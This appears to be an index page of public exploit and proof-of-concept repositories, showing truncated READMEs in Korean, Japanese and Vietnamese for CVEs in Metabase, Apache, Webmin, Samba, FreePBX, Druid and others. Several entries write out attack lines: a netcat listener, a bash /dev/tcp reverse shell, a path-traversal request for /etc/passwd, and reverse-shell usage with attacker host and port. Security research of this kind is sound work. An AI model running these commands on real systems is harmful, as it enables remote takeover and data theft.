zygote-CVE-2024-31317

Zygote Toolkit - CVE-2024-31317 이 툴킷은 CVE-2024-31317을 사용하여 ADB를 통해 비공개 앱 데이터를 추출하거나 앱의 UID로 셸을 실행합니다. 이 취약점은 보안 패치 수준이 2024-06-01 이하인 Android 914 버전에 영향을 미칩니다. 테스트된 기기의 지원 매트릭스는 아래에서 확인할 수 있습니다. 사전 요구 사항 Debian/Ubuntu 시스템 패키지 sudo apt update sudo apt install adb openjdk-17-jdk-headless android-sd...

DIRTYFAIL

DIRTYFAIL Copy Fail および Dirty Frag Linux ページキャッシュ書き込み脆弱性ファミリーのための統合検出器および PoC ハーネス。 ██████╗ ██╗██████╗ ████████╗██╗ ██╗███████╗ █████╗ ██╗██╗ ██╔══██╗██║██╔══██╗╚══██╔══╝╚██╗ ██╔╝██╔════╝██╔══██╗██║██║ ██║ ██║██║██████╔╝ ██║ ╚████╔╝ █████╗ ███████║██║██║ ██║ ██║██║██╔══██╗ ██║ ╚██╔╝ ██╔══╝...

CVE-2026-22241

CVE-2026-22241 CVE-2026-22241 실습 환경 취약점 설명: 취약점: 위험한 유형의 파일 무제한 업로드 영향: 원격 코드 실행 RCE 설명: 이 결함으로 인해 관리자 권한을 가진 공격자가 악성 PHP 파일웹 셸을 업로드하여 웹 서버의 무결성과 보안을 완전히 손상시킬 수 있습니다. 대상 시스템: OpenClass 교육 인프라 1. 환경 구축 sudo git clone https://github.com/CVEs-Labs/CVE-2026-22241.git...

React2Shell

React2Shell /$$$$$$$ /$$ /$$$$$$ /$$$$$$ /$$ /$$ /$$ | $$ $$ | $$ /$$ $$ /$$ $$| $$ | $$| $$ | $$ \ $$ /$$$$$$ /$$$$$$ /$$$$$$$ /$$$$$$ |/ \ $$| $$ /| $$$$$$$ /$$$$$$ | $$| $$ | $$$$$$$/ /$$ $$ | $$ /$$/| $$/ /$$$$$$/| $$$$$$ | $$ $$ /$$ $$| $$| $$ | $$ $$| $$$$$$$$ /$$$$$$$| $$ | $$ /$$/ \ $$| $...

CVE-2023-38646

CVE-2023-38646 - Metabase Pre-Auth RCE ⚠️ 교육 및 승인된 보안 연구 목적으로만 사용하세요 원본 Exploit 저자 원본 PoC 작성자 securezeron에게 감사드립니다. 단계별 안내 1. 공격자 머신에서 리스너 설정: nc -nlvp 4444 2. 그런 다음, 다음 명령 실행: python3 CVE-2023-38646-Reverse-Shell.py -h python3 CVE-2023-38646-Reverse-Shell.py --rhost http://data.analytical.htb/...

CVE-2021-41773-Apache-2.4.49-

CVE-2021-41773-Apache-2.4.49- 침투 테스트 1.1. Path Traversal /etc/passwd 파일 읽기 !/bin/bash Script: exploitpathtraversal.sh Mục tiêu: Đọc tệp /etc/passwd từ Apache 2.4.49 TARGETIP="128.0.0.100" URL="http://$TARGETIP/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd" echo "+ Khai thác Path Traversal trên...

CVE-2026-105767 Chainguard Academy (edu) integrate-platform-docs composite action interpolates inputs into shell commands

Improper Neutralization of Special Elements used in an OS Command in the integrate-platform-docs composite GitHub Action of Chainguard Academy edu from commit 7375a80caabcc31c33ec90f29687ed78c13d16ff before commit fb0efb2537d326ab18c07d620875b8ed2a4b39f3 allows an actor who controls the projectid...

CVE-2012-2982_python

CVE-2012-2982 익스플로잇 python 안녕하세요, 저는 보안 연구자이며 이것은 저의 첫 번째 익스플로잇입니다. Webmin 1.580에는 CVE-2012-2982인 RCE가 있습니다. 이 페이로드를 사용하려면: 1. 다운로드 2. 텍스트 편집기에서 열기! 3. targetIP를 대상으로 변경 4. lhost를 자신의 IP로 변경 5. lport를 리스너가 실행될 포트 번호로 변경 6. 그리고 마지막으로 'page' : "%2F", 'user' : "user1", 'pass' : "1user" 여기서 기본 사용자 이름...

CVE-2017-12149

CVE-2017-12149 yunxu1님의 소스코드에 대단히 감사드립니다. 설명: 그래픽 페이지를 제거했습니다. 시스템 인식 오류로 인한 명령 실행 실패를 수정했습니다. 대화형 셸로 변경했습니다. 사용법 URL을 입력하고 Enter를 누르면 두 시스템의 whoami가 자동으로 실행됩니다. 결과를 확인하여 어떤 운영체제인지 판단합니다. 시스템을 입력하세요: linux or windows 그런 다음 실행할 명령어를 입력하면 됩니다...

oracleShell

oracleShell oracle 데이터베이스 명령 실행 테스트 환경-DBA 권한: SELECT FROM v$version Oracle Database 11g Enterprise Edition Release 11.2.0.1.0 - Production PL/SQL Release 11.2.0.1.0 - Production "CORE 11.2.0.1.0 Production" TNS for 32-bit Windows: Version 11.2.0.1.0 - Production NLSRTL Version 11.2.0.1.0 -...

CVE-2026-34197

CVE-2026-34197 ActiveMQ Classic 실습 환경 이 저장소는 Apache ActiveMQ Classic의 CVE-2026-34197 을 연구하고 취약한 인스턴스를 패치된 빌드와 비교하기 위한 로컬 실습 환경을 포함합니다. 이 저장소는 두 가지 목표를 지원하도록 구성되어 있습니다: 문제를 엄격히 통제되고 격리된 환경에서 재현합니다. 패치된 ActiveMQ Classic 빌드에서 수정 동작을 검증합니다. 면책 조항 이 저장소는 귀하가 소유하거나 명시적으로 테스트가 허가된 격리된 실습 환경에서 엄격히 합법적이고...

CVE-2022-0944

CVE-2022-0944 SQLPad RCE CVE-2022-0944에 대한 개념 증명 익스플로잇 사용법 usage: main.py -h url lhost lport username password positional arguments: url URL to SQLPad lhost Listener host address for reverse shell lport Listener port for reverse shell username login username optional password login password...

CVE-2022-41343

CVE-2022-41343 🐍 CVE-2022-41343 の Python Exploit dompdf 2.0.1 用 Staged Reverse Shell 基づく: Positive Sec's write-up および PoC 例 cve-2022-41343 10.10.16.3 44444 使い方 usage: cve-2022-41343 -h -l SERVERPORT -s SHELL -n FONTNAME ip port positional arguments: ip Shell Callback IP Address/Host port Shell...

cve-2025-57819-exploit

CVE-2025-57819 익스플로잇 메타데이터 심각도: 치명적 9.8 벡터: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H 유형: 인증되지 않은 SQL 인젝션 → 원격 코드 실행 영향받는 소프트웨어: FreePBX endpoint 모듈 매개변수 : 대상 호스트명 또는 IP 주소 취약한 FreePBX 인스턴스 : 리버스 쉘 콜백을 위한 공격자 IP 주소 : 수신 연결을 위한 리스닝 포트 예시: python3 cve-2025-57819.py freepbx.local 10.10.16.38 9999...

CVE-2021-25646

사용법: python3 CVE-2021-25646.py -u http://x.x.x.x -c cmd 리버스 셸은 다음과 같습니다： 리버스 셸 스크립트 작성 python3 CVE-2021-25646.py -u http://x.x.x.x -c "echo 'bash -i & /dev/tcp/x.x.x.x/xxxx 0&1' /tmp/1.sh" 셸 스크립트에 실행 권한 부여 python3 CVE-2021-25646.py -u http://x.x.x.x -c "chmod +x /tmp/1.sh" 셸 실행 python3...

htb-wifinetictwo-exploit

CVE-2021-31630 エクスプロイトPoC このPythonスクリプトは、CVE-2021-31630のProof of Concept PoCエクスプロイトです。HackTheBoxのWifineticTwoボックスで動作するOpenPLCの脆弱性を標的としています。教育目的のみで設計されており、管理された環境でのエクスプロイトプロセスを実証することを目的としています。 免責事項...

CVE-2017-16997-poc

사용법 ./CVE-2017-16997.sh 를 실행합니다. 루트 사용자가 아닌 경우 sudo를 통해 루트로 권한 상승이 가능한지 확인하십시오. 세부 사항 1. https://nvd.nist.gov/vuln/detail/CVE-2017-16997...

CVE-2019-15107

CVE-2019-15107 Webmin 1.890 인증되지 않은 원격 코드 실행 이 스크립트는 Webmin 1.890의 인증되지 않은 명령 실행 취약점을 악용하도록 설계되었습니다. 이를 통해 대상 Webmin 서버에서 임의의 명령을 실행하거나 리버스 셸을 얻을 수 있습니다. 사용법 이 익스플로잇은 5개의 인자를 받습니다: $ python3 test.py -h usage: test.py -h -i IP Address -p Port number -c Command --shell -x Exploit unauthenticated...

CVE-2007-2447

CVE-2007-2447 Samba 3.0.0 - 3.0.25rc3은 원격 명령 주입 취약점CVE-2007-2447에 영향을 받으며, 원격 공격자가 셸 메타 문자를 포함하는 사용자 이름을 지정하여 임의의 명령을 실행할 수 있도록 허용합니다...

CVE-2026-49176_LPE_POC

CVE-2026-49176 SYSTEM Shell PoC Local privilege-escalation proof of concept for the Windows WalletService vulnerability fixed in July 2026. Technical write-up: CVE-2026-49176 Exploit Development: WalletService to SYSTEM. A standard user creates a Wallet ESE database containing a persisted callbac...